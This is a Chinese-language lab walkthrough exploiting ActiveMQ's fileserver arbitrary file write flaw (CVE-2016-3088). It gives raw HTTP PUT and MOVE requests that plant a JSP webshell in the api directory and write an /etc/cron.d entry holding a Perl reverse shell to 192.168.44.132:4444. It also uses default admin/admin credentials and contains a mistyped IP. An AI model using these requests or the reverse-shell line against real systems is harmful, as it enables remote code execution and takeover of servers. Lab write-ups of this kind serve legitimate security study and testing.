ActiveMQ任意文件写入漏洞(CVE-2016-3088)

ActiveMQ任意文件写入漏洞(CVE-2016-3088)

环境侦听端口61616和端口8161,其中8161是Web控制台端口。此漏洞显示在Web控制台中。

请访问http://192.168.44.132:8161/以查看该网页,指示该环境已成功运行。

背景简介

ActiveMQ Web控制台分为三个应用程序:admin,api和文件服务器,其中admin是管理员页面,api是界面,fileserver是用于存储文件的界面;admin和api需要先登录才能使用,fileserver不需要登录。

文件服务器是RESTful API接口。我们可以通过HTTP请求(例如GET,PUT和DELETE)读写存储在其中的文件。设计目的是为了弥补消息队列操作无法传输和存储二进制文件但后来发现的缺陷:

  1. 使用率不高
  2. 文件操作容易产生漏洞

因此,ActiveMQ默认在5.12.x〜5.13.x中关闭文件服务器应用程序(您可以在conf/jetty.xml中打开它)。在5.14.0之后,文件服务器应用程序将被完全删除。

在测试过程中,您应注意ActiveMQ的版本,以防浪费精力。

漏洞详情

此漏洞出现在Fileserver应用程序中,该漏洞的原理实际上非常简单,即文件服务器支持写入文件(但不解析JSP),同时支持移动文件(MOVE请求)。因此,我们只需要编写一个文件,然后通过使用移动请求将其移动到任何位置,就会导致任意文件写入漏洞。

写入文件,例如cron或ssh key

  1. 编写Webshell
  2. 写入文件,例如cron或ssh key
  3. 编写库和配置文件,例如jar或jetty.xml

编写webshell的优点是方便,但是文件服务器不需要解析jsp,admin和api都需要登录才能访问,因此有点徒劳。编写cron或ssh键的优点是直接反转Shell,这也很方便,缺点是您需要root权限;写jar,有点麻烦(需要jar后门),写xml配置文件,这种方法比较可靠,但是有一点徒劳:我们需要知道ActiveMQ的绝对路径。

让我们谈谈以上几种方法。

编写Webshell

如前所述,Webshell需要使用Admin或Api应用程序编写,并且两个应用程序都需要登录才能访问。

默认的ActiveMQ帐户和密码为admin。首先,访问http://192.168.44.132:8161/admin/test/systemProperties.jsp以查看ActiveMQ的绝对路径:

image-20210427095240778

然后上传Webshell:

1
2
3
4
5
6
7
8
9
PUT /fileserver/2.txt HTTP/1.1
Host: 192.168.44.132:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976

webshell...

image-20210427104033538

然后将其移至/opt/activemq/webapps/api/s.jspWeb目录中的API文件夹():

1
2
3
4
5
6
7
8
MOVE /fileserver/2.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

image-20210427114856845

访问Webshell(需要登录):

image-20210427114944287

编写crontab,自动执行反向shell

这是一个相对稳定的方法。首先上传cron配置文件(请注意,换行符必须是\n,而不是\r\n,否则crontab执行将失败),这里使用新版的burp,可以清楚看到\n与\r:

1
2
3
4
5
6
7
8
9
PUT /fileserver/1.txt HTTP/1.1
Host: 192.618.44.132:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 250
\n
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.44.132";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'\n

image-20210427201525273

将其移至/etc/cron.d/root

1
2
3
4
5
6
7
8
9
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: 192.168.44.132:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
\n

image-20210427201602124

如果以上两个请求都返回204,则写入成功。等待反向shell:

image-20210427201645034

此方法要求ActiveMQ以root身份运行,否则它将无法写入cron文件。

编写jetty.xml或jar

从理论上讲,我们可以覆盖jetty.xml,删除admin和api的登录限制,然后编写webshell。

在某些情况下,jetty.xml和jar的所有者是Web容器的用户,因此编写crontab的成功率更高。

尚未测试。

0%